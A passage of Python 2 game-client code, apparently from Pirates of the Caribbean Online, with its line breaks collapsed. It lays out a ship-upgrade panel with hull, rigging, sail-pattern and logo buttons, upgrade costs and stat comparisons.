text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.8, 0, -1.8), textMayChange=0, scale=3.5) self.downgradeLineTitle = DirectLabel(parent=self.downgradeLine, relief=None, text=PLocalizer.DowngradeLineTitle, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.8, 0, -1.8), textMayChange=0, scale=3.5) self.previewTitle = DirectLabel(parent=self, relief=None, text='', text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.98, 0, 0.53), textMayChange=1) self.attributeList = DirectLabel(parent=self, relief=None, text='', text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ALeft, text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, text_wordwrap=14, pos=(0.75, 0, 0.45), textMayChange=1) self.ownedResourceList = DirectLabel(parent=self, relief=None, text='', text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ARight, text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG1, text_shadow=PiratesGuiGlobals.TextShadow, pos=(1.27, 0, 0.45), textMayChange=1) self.selectHullButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.22, 1.0, 0.22), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeTypeHull, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.457, 0, 0.51), state=DGG.NORMAL, command=self.layoutButtons, extraArgs=[0]) self.selectRiggingButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.22, 1.0, 0.22), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeTypeRigging, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.457, 0, 0.42), state=DGG.NORMAL, command=self.layoutButtons, extraArgs=[1]) self.selectPatternButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.22, 1.0, 0.22), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeTypePattern, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.457, 0, 0.332), state=DGG.NORMAL, command=self.layoutButtons, extraArgs=[2]) self.selectLogoButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.22, 1.0, 0.22), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeTypeLogo, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.457, 0, 0.245), state=DGG.NORMAL, command=self.layoutButtons, extraArgs=[3]) self.selectExitButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.22, 1.0, 0.22), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeTypeExit, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(-0.457, 0, 0.155), state=DGG.NORMAL, command=self.close) self.currencyLabels = [] ciXPos = -0.45 ciZPos = -0.98 ciXSpace = 0.17 ciCount = 0 shipIcons = loader.loadModel('models/gui/gui_icons_weapon') blankImage = shipIcons.find('**/pir_t_gui_frm_inventoryBox') return def updateCurrencyLabels(self, info=None): inv = localAvatar.getInventory() if inv: for currencyLabel in self.currencyLabels: currencyId = currencyLabel.currencyId if currencyId == InventoryType.ItemTypeMoney: currencyName = PLocalizer.MoneyName currencyAmount = inv.getGoldInPocket() else: currencyName = PLocalizer.InventoryTypeNames.get(currencyId, 'Unknown Currency') currencyAmount = inv.getStackQuantity(currencyId) currencyLabel['text'] = '%s\n%s' % (currencyName, currencyAmount) self.filloutOwned() self.filloutAttributeText() def layoutButtons(self, category=0): if self.confirmPanel: return self.costString = '' self.attributeString = '' self.filloutAttributeText() self.previewCat = category self.previewChange(self.shipId, changeCat=self.previewCat, changeValue=None) for column in self.spotMarkers: for marker in column: if marker: marker.hide() for arrowKey in self.arrowDict: if self.arrowDict[arrowKey]: self.arrowDict[arrowKey].hide() self.showNextButton.hide() self.showPrevButton.hide() self.pageCount = 0 self.maxPageCount = 0 self.pageMode = '' self.upgradeLine.hide() self.downgradeLine.hide() if category == None: category = 0 if category == 0: self.layOutHullButtons() self.title['text'] = PLocalizer.UpgradeTypeHull elif category == 1: self.layOutRiggingButtons() self.title['text'] = PLocalizer.UpgradeTypeRigging elif category == 2: self.layOutPatternButtons() self.title['text'] = PLocalizer.UpgradeTypePattern elif category == 3: self.layOutLogoButtons() self.title['text'] = PLocalizer.UpgradeTypeLogo return def layOutHullButtons(self): self.clearButtons() self.pageMode = 'Hulls' shipOV = base.cr.getOwnerView(self.shipId) shipHullType = shipOV.customHull if not shipHullType: shipHullType = 1 shipHullInfo = ShipUpgradeGlobals.HULL_TYPES.get(shipHullType) currentShipButton = self.makeHullButton(shipHullType, isCurrentType=True) currentShipButton.reparentTo(self) spotPosition = self.buttonPostions[1][1] self.spotMarkers[1][1].show() currentShipButton.setPos(spotPosition) self.choiceButtons.append(currentShipButton) for downgradeOptionIndex in range(3): downgrade = shipHullInfo['Downgrades'][downgradeOptionIndex] if downgrade != None: downgradeInfo = ShipUpgradeGlobals.HULL_TYPES.get(downgrade) if downgradeInfo['Available']: downgradeButton = self.makeHullButton(downgrade, current=0, downgrade=True) spotIndex = downgradeOptionIndex spotPosition = self.buttonPostions[0][spotIndex] downgradeButton.reparentTo(self) downgradeButton.setPos(spotPosition) self.choiceButtons.append(downgradeButton) self.spotMarkers[0][spotIndex].show() self.arrowDict[0, spotIndex].show() self.downgradeLine.show() for sidegradeOptionIndex in range(2): sidegrade = shipHullInfo['Sidegrades'][sidegradeOptionIndex] if sidegrade != None: sidegradeInfo = ShipUpgradeGlobals.HULL_TYPES.get(sidegrade) if sidegradeInfo['Available']: sidegradeButton = self.makeHullButton(sidegrade, current=0, downgrade=False, sidegrade=True) spotIndex = sidegradeOptionIndex if spotIndex == 1: spotIndex = 2 spotPosition = self.buttonPostions[1][spotIndex] sidegradeButton.reparentTo(self) sidegradeButton.setPos(spotPosition) self.choiceButtons.append(sidegradeButton) self.spotMarkers[1][spotIndex].show() self.arrowDict[1, spotIndex].show() for upgradeOptionIndex in range(3): upgrade = shipHullInfo['Upgrades'][upgradeOptionIndex] if upgrade != None: upgradeInfo = ShipUpgradeGlobals.HULL_TYPES.get(upgrade) if upgradeInfo['Available']: upgradeButton = self.makeHullButton(upgrade, current=0) spotIndex = upgradeOptionIndex spotPosition = self.buttonPostions[2][spotIndex] upgradeButton.reparentTo(self) upgradeButton.setPos(spotPosition) self.choiceButtons.append(upgradeButton) self.spotMarkers[2][spotIndex].show() self.arrowDict[2, spotIndex].show() self.upgradeLine.show() return def layOutRiggingButtons(self): self.clearButtons() self.pageMode = 'Rigging' shipOV = base.cr.getOwnerView(self.shipId) shipRiggingType = shipOV.customRigging if not shipRiggingType: shipRiggingType = ShipUpgradeGlobals.RIGGING_BASE shipRiggingInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(shipRiggingType) currentShipButton = self.makeRiggingButton(shipRiggingType, isCurrentType=True) currentShipButton.reparentTo(self) spotPosition = self.buttonPostions[1][1] self.spotMarkers[1][1].show() currentShipButton.setPos(spotPosition) self.choiceButtons.append(currentShipButton) for downgradeOptionIndex in range(3): downgrade = shipRiggingInfo['Downgrades'][downgradeOptionIndex] if downgrade != None: downgradeInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(downgrade) if downgradeInfo['Available']: downgradeButton = self.makeRiggingButton(downgrade, current=0, downgrade=True) spotIndex = downgradeOptionIndex spotPosition = self.buttonPostions[0][spotIndex] downgradeButton.reparentTo(self) downgradeButton.setPos(spotPosition) self.choiceButtons.append(downgradeButton) self.spotMarkers[0][spotIndex].show() self.arrowDict[0, spotIndex].show() self.downgradeLine.show() for sidegradeOptionIndex in range(2): sidegrade = shipRiggingInfo['Sidegrades'][sidegradeOptionIndex] if sidegrade != None: sidegradeInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(sidegrade) if sidegradeInfo['Available']: sidegradeButton = self.makeRiggingButton(sidegrade, current=0, downgrade=False, sidegrade=True) spotIndex = sidegradeOptionIndex if spotIndex == 1: spotIndex = 2 spotPosition = self.buttonPostions[1][spotIndex] sidegradeButton.reparentTo(self) sidegradeButton.setPos(spotPosition) self.choiceButtons.append(sidegradeButton) self.spotMarkers[1][spotIndex].show() self.arrowDict[1, spotIndex].show() for upgradeOptionIndex in range(3): upgrade = shipRiggingInfo['Upgrades'][upgradeOptionIndex] if upgrade != None: upgradeInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(upgrade) if upgradeInfo['Available']: upgradeButton = self.makeRiggingButton(upgrade, current=0) spotIndex = upgradeOptionIndex spotPosition = self.buttonPostions[2][spotIndex] upgradeButton.reparentTo(self) upgradeButton.setPos(spotPosition) self.choiceButtons.append(upgradeButton) self.spotMarkers[2][spotIndex].show() self.arrowDict[2, spotIndex].show() self.upgradeLine.show() return def showNext(self): self.pageCount += 1 if self.pageCount > self.maxPageCount: self.pageCount = 0 if self.pageMode == 'Logo': self.layOutLogoButtons() elif self.pageMode == 'Sail': self.layOutPatternButtons() def showPrev(self): self.pageCount -= 1 if self.pageCount < 0: self.pageCount = self.maxPageCount if self.pageMode == 'Logo': self.layOutLogoButtons() elif self.pageMode == 'Sail': self.layOutPatternButtons() def layOutPatternButtons(self): self.clearButtons() self.pageMode = 'Sail' shipOV = base.cr.getOwnerView(self.shipId) shipPatternType = shipOV.customSailPattern if not shipPatternType: shipPatternType = ShipUpgradeGlobals.SAILCOLOR_BASE shipPattenInfo = ShipUpgradeGlobals.SAILCOLOR_TYPES.get(shipPatternType) offX = 0.225 offY = -0.21 countX = 0 countY = 0 startX = -0.57 startY = -0.35 sailTypeList = ShipUpgradeGlobals.SAILCOLOR_TYPES.keys() sailTypeList.sort() for iconInfoKey in sailTypeList: if ShipUpgradeGlobals.SAILCOLOR_TYPES[iconInfoKey].get('Available', 0): patternButton = self.makePatternButton(iconInfoKey) patternButton.setPos(startX + countX * offX, 0, startY + countY * offY) self.choiceButtons.append(patternButton) countX += 1 if countX >= 6: countX = 0 countY += 1 def layOutLogoButtons(self): self.clearButtons() self.pageMode = 'Logo' shipOV = base.cr.getOwnerView(self.shipId) shipLogoType = shipOV.customSailLogo if not shipLogoType: shipLogoType = ShipUpgradeGlobals.LOGO_BASE shipLogoInfo = ShipUpgradeGlobals.LOGO_TYPES.get(shipLogoType) offX = 0.225 offY = -0.21 countX = 0 countY = 0 startX = -0.57 startY = -0.35 logoTypeList = ShipUpgradeGlobals.LOGO_TYPES.keys() logoTypeList.sort() numIcons = len(logoTypeList) numIconsShown = 18 startIndex = self.pageCount * numIconsShown self.maxPageCount = numIcons / numIconsShown if numIcons > numIconsShown: self.showNextButton.show() self.showPrevButton.show() countPlaced = 0 countConsidered = startIndex considerIndex = 0 placedIndex = 0 for countLogos in range(0, numIcons): if considerIndex >= numIcons: print 'break' break iconInfoKey = logoTypeList[considerIndex] considerIndex += 1 if ShipUpgradeGlobals.LOGO_TYPES[iconInfoKey].get('Available', 0): if placedIndex >= startIndex and placedIndex < startIndex + numIconsShown: logoButton = self.makeLogoButton(iconInfoKey) logoButton.setPos(startX + countX * offX, 0, startY + countY * offY) self.choiceButtons.append(logoButton) countX += 1 if countX >= 6: countX = 0 countY += 1 placedIndex += 1 def makePatternButton(self, patternType, current=1): shipPatternInfo = ShipUpgradeGlobals.SAILCOLOR_TYPES.get(patternType) model = loader.loadModel('models/textureCards/sailColors.bam') patternName = ShipBlueprints.ColorDict.get(shipPatternInfo['StyleIndex']) if patternName == None: shipIcons = loader.loadModel('models/gui/gui_icons_weapon') buttonImage = shipIcons.find('**/pir_t_gui_frm_inventoryBox') else: buttonImage = model.find('**/%s' % patternName) command = self.previewChange extraArgs = [self.shipId, 2, patternType] patternButton = DirectButton(parent=self, relief=None, image=buttonImage, image_scale=(0.16, 1.0, 0.16), image0_color=VBase4(0.85, 0.85, 0.85, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(1.0, 1.0, 1.0, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=shipPatternInfo['Name'], text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.11), text_scale=PiratesGuiGlobals.TextScaleMed, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.0, 0, 0.0), command=command, extraArgs=extraArgs) return patternButton def makeLogoButton(self, logoType, current=1): shipLogoInfo = ShipUpgradeGlobals.LOGO_TYPES.get(logoType) model = loader.loadModel('models/textureCards/sailLogo.bam') logoName = ShipBlueprints.LogoDict.get(shipLogoInfo['StyleIndex']) invert = shipLogoInfo['Invert'] shipIcons = loader.loadModel('models/gui/gui_icons_weapon') blankImage = shipIcons.find('**/pir_t_gui_frm_inventoryBox') needInvert = 0 logoNode = None if logoName == None: buttonImage = blankImage buttonGeom = None else: buttonImage = blankImage buttonGeom = model.find('**/%s' % logoName) logoTex = buttonGeom.findAllTextures('*')[0] if invert: needInvert = 1 command = self.previewChange extraArgs = [self.shipId, 3, logoType] logoButton = DirectButton(parent=self, relief=None, image=buttonImage, image_scale=(0.16, 1.0, 0.16), image0_color=VBase4(0.85, 0.85, 0.85, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(1.0, 1.0, 1.0, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=shipLogoInfo['Name'], text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.11), text_scale=PiratesGuiGlobals.TextScaleMed, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.0, 0, 0.0), command=command, extraArgs=extraArgs) if buttonGeom: logoNode = logoButton.attachNewNode('Logo Display') buttonGeom.instanceTo(logoNode) buttonGeom.setScale(0.16) if needInvert: buttonGeom.setTextureOff(TextureStage.getDefault()) buttonGeom.setTexture(self.logoLayerInv, logoTex) self.thing = buttonGeom return logoButton def makeHullButton(self, hullType, current=1, downgrade=False, sidegrade=False, isCurrentType=False): shipIcons = loader.loadModel('models/gui/gui_icons_weapon') buttonImage = shipIcons.find('**/pir_t_ico_knf_belt') UpgradeIcons = loader.loadModel('models/textureCards/shipUpgradeIcons') shipHullInfo = ShipUpgradeGlobals.HULL_TYPES.get(hullType) imageScale = 0.2 if shipHullInfo.get('Icon', None): buttonImage = UpgradeIcons.find('**/%s' % shipHullInfo['Icon']) imageScale = 0.13 command = self.previewChange extraArgs = [self.shipId, 0, hullType, downgrade, sidegrade] text = shipHullInfo['IconText'] textColor = PiratesGuiGlobals.TextFG1 textSize = PiratesGuiGlobals.TextScaleLarge shipButton = DirectButton(parent=self, relief=None, image=buttonImage, image_scale=imageScale, image0_color=VBase4(0.8, 0.8, 0.8, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(1.0, 1.0, 1.0, 1), image3_color=VBase4(0.4, 0.4, 0.4, 1), text=text, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0.055, -0.065), text_scale=textSize, text_fg=textColor, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.0, 0, 0.0), command=command, extraArgs=extraArgs) if isCurrentType: currentLabel = DirectLabel(parent=shipButton, relief=None, text=PLocalizer.YourCurrent, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.11), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow) return shipButton def makeRiggingButton(self, riggingType, current=1, downgrade=False, sidegrade=False, isCurrentType=False): shipRiggingInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(riggingType) if shipRiggingInfo.get('Icon', None): skillIcons = loader.loadModel('models/textureCards/skillIcons') buttonImage = skillIcons.find('**/%s' % shipRiggingInfo['Icon']) imageScale = 0.13 else: UpgradeIcons = loader.loadModel('models/textureCards/shipUpgradeIcons') buttonImage = UpgradeIcons.find('**/pir_t_gui_shp_basic') imageScale = 0.13 command = self.previewChange extraArgs = [self.shipId, 1, riggingType, downgrade, sidegrade] text = shipRiggingInfo.get('IconText', '-') textColor = PiratesGuiGlobals.TextFG1 textSize = PiratesGuiGlobals.TextScaleMed if isCurrentType: text = PLocalizer.YourCurrent textColor = PiratesGuiGlobals.TextFG2 textSize = PiratesGuiGlobals.TextScaleExtraLarge riggingButton = DirectButton(parent=self, relief=None, image=buttonImage, image_scale=imageScale, image0_color=VBase4(0.8, 0.8, 0.8, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(1.0, 1.0, 1.0, 1), image3_color=VBase4(0.4, 0.4, 0.4, 1), text=text, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0.055, -0.065), text_scale=textSize, text_fg=textColor, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.0, 0, 0.0), command=command, extraArgs=extraArgs) return riggingButton def filloutCosts(self, shipClass, costDict=None): downgrade = self.viewingDowngrade self.tooExpensive = False inv = localAvatar.getInventory() if downgrade: self.costString = '' self.ownedString = '' elif costDict == None or inv == None: self.costString = '' self.ownedString = '' else: costString = PLocalizer.ShipUgradeCosts + '\n' + PLocalizer.ShipUgradeCostsRequired + '\n\n' ownedString = '\n' + PLocalizer.ShipUgradeCostsOwned + '\n\n' for currency in ShipUpgradeGlobals.COST_LIST: fixedCost = 0 relativeCost = 0 if costDict.get('Fixed'): if costDict['Fixed'].get(currency, 0): fixedCost = costDict['Fixed'].get(currency, 0) if costDict.get('Relative'): if costDict['Relative'].get(currency, 0): relativeCost = ShipUpgradeGlobals.HULL_RELATIVE_COST_BASIS[shipClass] * costDict['Relative'].get(currency, 0) totalCost = int(fixedCost + relativeCost) if currency == InventoryType.ItemTypeMoney: currencyName = PLocalizer.MoneyName currencyAmount = inv.getGoldInPocket() else: currencyName = PLocalizer.InventoryTypeNames.get(currency, 'Unknown Currency') currencyAmount = inv.getStackQuantity(currency) if totalCost: shortResouce = False currencyString = '%s: %s' % (currencyName, totalCost) if currencyAmount >= totalCost: pass else: shortResouce = True self.tooExpensive = True costString += '\x05currency-%s\x05 ' % currency + currencyString + '\n\n' if shortResouce: ownedString += '\x01red\x01%s\x02\n\n' % currencyAmount else: ownedString += '%s\n\n' % currencyAmount self.costString = costString return def filloutOwned(self): downgrade = self.viewingDowngrade costDict = None inv = localAvatar.getInventory() if self.previewValue != None and self.previewCat != None and not self.viewingCurrent and not self.viewingDowngrade: typeDict = ShipUpgradeGlobals.UPGRADE_BY_CATINDEX.get(self.previewCat, {}).get(self.previewValue, {}) if typeDict: costDict = typeDict.get('Cost', None) if costDict and self.ship and inv: ownedString = '\n' + PLocalizer.ShipUgradeCostsOwned + '\n\n' for currency in ShipUpgradeGlobals.COST_LIST: fixedCost = 0 relativeCost = 0 if costDict.get('Fixed'): if costDict['Fixed'].get(currency, 0): fixedCost = costDict['Fixed'].get(currency, 0) if costDict.get('Relative'): if costDict['Relative'].get(currency, 0): relativeCost = ShipUpgradeGlobals.HULL_RELATIVE_COST_BASIS[self.ship.shipClass] * costDict['Relative'].get(currency, 0) totalCost = int(fixedCost + relativeCost) if currency == InventoryType.ItemTypeMoney: currencyName = PLocalizer.MoneyName currencyAmount = inv.getGoldInPocket() else: currencyAmount = inv.getStackQuantity(currency) if totalCost: shortResouce = False if currencyAmount >= totalCost: pass else: shortResouce = True self.tooExpensive = True if shortResouce: ownedString += '\x01red\x01%s\x02\n\n' % currencyAmount else: ownedString += '%s\n\n' % currencyAmount else: ownedString = '' self.ownedString = ownedString return def filloutPatternDetails(self, patternInfo=None, oldPatternInfo=None): showOld = 0 self.attributeString = '' if oldPatternInfo != None and patternInfo == None: showOld = 1 patternInfo = oldPatternInfo return def filloutRiggingDetails(self, riggingInfo=None, oldRiggingInfo=None): showOld = 0 self.attributeString = '' boostString = '' if oldRiggingInfo != None and riggingInfo == None: showOld = 1 riggingInfo = oldRiggingInfo boostInfo = riggingInfo['SkillBoosts'] if boostInfo: self.attributeString = PLocalizer.ShipUpgradeSkillBoosts + '\n\n' for skillId in boostInfo.keys(): skillLevel = boostInfo[skillId] skillName = PLocalizer.InventoryTypeNames[skillId] newAttributeLine = '\x05sailSkill-%s\x05 %s %s %s\n\n' % (skillId, skillName, PLocalizer.ShipUpgradeSkillBoostAdd, skillLevel) boostString += newAttributeLine self.attributeString += boostString return def filloutHullDetails(self, hullInfo=None, oldHullInfo=None): showOld = 0 if oldHullInfo != None and hullInfo == None: showOld = 1 hullInfo = oldHullInfo armorLine = '' speedLine = '' turningLine = '' cargoLine = '' broadsideLine = '' headingLine = '' if hullInfo and oldHullInfo: headingLine = hullInfo['Description'] newArmor = hullInfo['Armor'] oldArmor = oldHullInfo['Armor'] diffArmor = int(newArmor * 100.0) - int(oldArmor * 100.0) newArmorP = int(newArmor * 100) armorText = '' if diffArmor == 0: armorText = '' else: if diffArmor >= 0: armorText = '\x01green\x01+%s%%\x02' % diffArmor signArmor = '+' else: armorText = '\x01red\x01%s%%\x02' % diffArmor signArmor = '' armorIconLine = '\x05dtl-armor\x05 ' armorLine = armorIconLine + '%s: %s%% %s\n\n' % (PLocalizer.ShipUpgradeAttributeArmor, newArmorP, armorText) newSpeed = hullInfo['Speed'] oldSpeed = oldHullInfo['Speed'] diffSpeed = int(newSpeed * 100.0) - int(oldSpeed * 100.0) newSpeedP = int(newSpeed * 100) speedText = '' if diffSpeed == 0: speedText = '' else: if diffSpeed >= 0: speedText = '\x01green\x01+%s%%\x02' % diffSpeed signSpeed = '+' else: speedText = '\x01red\x01%s%%\x02' % diffSpeed signSpeed = '' speedIconLine = '\x05dtl-speed\x05 ' speedLine = speedIconLine + '%s: %s%% %s\n\n' % (PLocalizer.ShipUpgradeAttributeSpeed, newSpeedP, speedText) newTurning = hullInfo['Turning'] oldTurning = oldHullInfo['Turning'] diffTurning = int(newTurning * 100.0) - int(oldTurning * 100.0) newTurningP = int(newTurning * 100) turningText = '' if diffTurning == 0: turningText = '' elif diffTurning >= 0: turningText = '\x01green\x01+%s%%\x02' % diffTurning signTurning = '+' else: turningText = '\x01red\x01%s%%\x02' % diffTurning signTurning = '' turningIconLine = '\x05dtl-turning\x05 ' turningLine = turningIconLine + '%s: %s%% %s\n\n' % (PLocalizer.ShipUpgradeAttributeTurning, newTurningP, turningText) newCargo = hullInfo['Cargo'] oldCargo = oldHullInfo['Cargo'] diffCargo = int(newCargo * 100.0) - int(oldCargo * 100.0) newCargoP = int(newCargo * 100) cargoText = '' if diffCargo == 0: cargoText = '' if diffCargo >= 0: cargoText = '\x01green\x01+%s%%\x02' % diffCargo signCargo = '+' cargoText = '\x01red\x01%s%%\x02' % diffCargo signCargo = '' cargoIconLine = '\x05dtl-cargo\x05 ' cargoLine = cargoIconLine + '%s: %s%% %s\n\n' % (PLocalizer.ShipUpgradeAttributeCargo, newCargoP, cargoText) if hullInfo.get('BroadsideType', 0): broadsideType = hullInfo.get('BroadsideType') broadsideAmount = int(hullInfo.get('BroadsideAmount') * 100) broadsideName = PLocalizer.InventoryTypeNames.get(broadsideType, 'Error') broadsideIconLine = '\x05broadside-%s\x05 ' % broadsideType broadsideLine = broadsideIconLine + PLocalizer.ShipBroadsideInfo % (broadsideAmount, broadsideName) + '\n' else: self.attributeString = 'No Attribute Data!' self.attributeString = headingLine + '\n\n' + armorLine + speedLine + turningLine + cargoLine + broadsideLine return def filloutAttributeText(self): self.attributeList['text'] = self.attributeString + ' ' attribList = self.attributeList.component('text0').textNode.getWordwrappedText().split('\n') ownedText = '' for line in attribList: ownedText += '\n' self.attributeList['text'] = self.attributeString + '\n\n' + self.costString self.ownedResourceList['text'] = ownedText + '\n' + self.ownedString def previewChange(self, shipId, changeCat=None, changeValue=None, downgrade=False, sidegrade=False): if self.confirmPanel: return shipOV = base.cr.getOwnerView(self.shipId) hullMaterial = None sailMaterial = None sailPattern = None invertLogo = False logo = ShipGlobals.Logos.Undefined shipClass = shipOV.shipClass self.previewValue = changeValue self.previewCat = changeCat self.viewingDowngrade = downgrade self.viewingSidegrade = sidegrade hullType = max(shipOV.customHull, 1) oldHullType = hullType riggingType = max(shipOV.customRigging, 1) oldRiggingType = riggingType patternType = max(shipOV.customSailPattern, 1) oldPatternType = patternType logoType = max(shipOV.customSailLogo, 1) oldLogoType = logoType if changeCat == 0: if not changeValue: changeValue = oldHullType hullType = changeValue hullInfo = ShipUpgradeGlobals.HULL_TYPES.get(hullType) oldHullInfo = ShipUpgradeGlobals.HULL_TYPES.get(oldHullType) if oldHullType != hullType: self.viewingCurrent = False self.previewTitle['text'] = hullInfo.get('Name', 'No Name') self.filloutCosts(shipClass, hullInfo.get('Cost', None)) self.filloutOwned() self.filloutHullDetails(hullInfo, oldHullInfo) self.filloutAttributeText() else: self.viewingCurrent = True self.previewTitle['text'] = hullInfo.get('Name', 'No Name') self.filloutCosts(shipClass) self.filloutOwned() self.filloutHullDetails(None, oldHullInfo) self.filloutAttributeText() else: if changeCat == 1: if not changeValue: changeValue = oldRiggingType riggingType = changeValue riggingInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(riggingType) oldRiggingInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(oldRiggingType) if oldRiggingType != riggingType: self.viewingCurrent = False self.previewTitle['text'] = riggingInfo.get('Name', 'No Name') self.filloutCosts(shipClass, riggingInfo.get('Cost', None)) self.filloutOwned() self.filloutRiggingDetails(riggingInfo, oldRiggingInfo) self.filloutAttributeText() else: self.viewingCurrent = True self.previewTitle['text'] = riggingInfo.get('Name', 'No Name') self.filloutCosts(shipClass) self.filloutOwned() self.filloutRiggingDetails(None, oldRiggingInfo) self.filloutAttributeText() else: if changeCat == 2: if not changeValue: changeValue = oldPatternType patternType = changeValue patternInfo = ShipUpgradeGlobals.SAILCOLOR_TYPES.get(patternType) oldPatternInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(oldPatternType) if oldPatternType != patternType: self.viewingCurrent = False self.previewTitle['text'] = patternInfo.get('Name', 'No Name') self.filloutCosts(shipClass, patternInfo.get('Cost', None)) self.filloutOwned() self.filloutPatternDetails(patternInfo, oldPatternInfo) self.filloutAttributeText() else: self.viewingCurrent = True self.previewTitle['text'] = patternInfo.get('Name', 'No Name') self.filloutCosts(shipClass) self.filloutOwned() self.filloutPatternDetails(None, oldPatternInfo) self.filloutAttributeText() else: if changeCat == 3: if not changeValue: changeValue = oldLogoType logoType = changeValue logoInfo = ShipUpgradeGlobals.LOGO_TYPES.get(logoType) if oldLogoType != logoType: self.viewingCurrent = False self.previewTitle['text'] = logoInfo.get('Name', 'No Name') self.filloutCosts(shipClass, logoInfo.get('Cost', None)) self.filloutOwned() self.filloutAttributeText() else: self.viewingCurrent = True self.previewTitle['text'] = logoInfo.get('Name', 'No Name') self.filloutCosts(shipClass) self.filloutOwned() self.filloutAttributeText() else: self.viewingCurrent = False self.previewTitle['text'] = '' if downgrade: self.tooExpensive = False self.checkConfirmButtonState() hullInfo = ShipUpgradeGlobals.HULL_TYPES.get(hullType) if hullInfo: hullMaterial = hullInfo['StyleIndex'] riggingInfo = ShipUpgradeGlobals.RIGGING_TYPES.get(riggingType) if riggingInfo: sailMaterial = riggingInfo['StyleIndex'] 